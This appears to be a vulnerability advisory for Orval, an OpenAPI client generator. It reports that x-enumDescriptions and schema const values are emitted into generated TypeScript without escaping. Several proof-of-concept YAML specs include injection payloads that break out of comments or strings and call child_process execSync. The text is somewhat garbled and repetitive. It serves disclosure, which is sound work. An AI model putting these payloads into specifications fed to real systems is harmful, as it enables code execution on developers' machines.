CVE-2026-23947 had an incomplete fix

While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize and / characters. This allows attackers to break out of JavaScript comment blocks using / sequences and inject arbitrary code into generated files.

Example:

yaml openapi: 3.0.4 info: title: Enum PoC version: "1.0.0"

paths: /ping: get: operationId: ping responses: "200": description: ok content: application/json: schema: $ref: "#/components/schemas/EvilEnum"

components: schemas: EvilEnum: type: string enum: - PWNED x-enumDescriptions: # "pwned / }; import('childprocess').then(cp => cp.execSync('touch pwned')); const a = { /" - "pwned / }; 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const a = { /"

I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('childprocess').execSync('id') in the output TypeScript.

yaml openapi: 3.1.0 info: title: Mock Const Injection PoC version: 1.0.0 paths: /test: get: operationId: getTests responses: '200': description: OK content: application/json: schema: $ref: '#/components/schemas/Tests' components: schemas: Tests: type: object properties: EvilString: type: string const: "'); require('childprocess').execSync('id'); //" EvilNumber: type: number const: "0); require('childprocess').execSync('id'); //" SafeEnum: type: string enum: ["test"]

Impact Arbitrary code execution in environments consuming generated clients

This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.

Patches Upgrade to Orval 8.0.2

References An example OpenAPI showing the issue:

yaml openapi: 3.0.4 info: title: Enum PoC version: "1.0.0"

paths: /ping: get: operationId: ping responses: "200": description: ok content: application/json: schema: $ref: "#/components/schemas/EvilEnum"

components: schemas: EvilEnum: type: string enum: - PWNED x-enumDescriptions: - "pwned / require('childprocess').execSync('id'); /"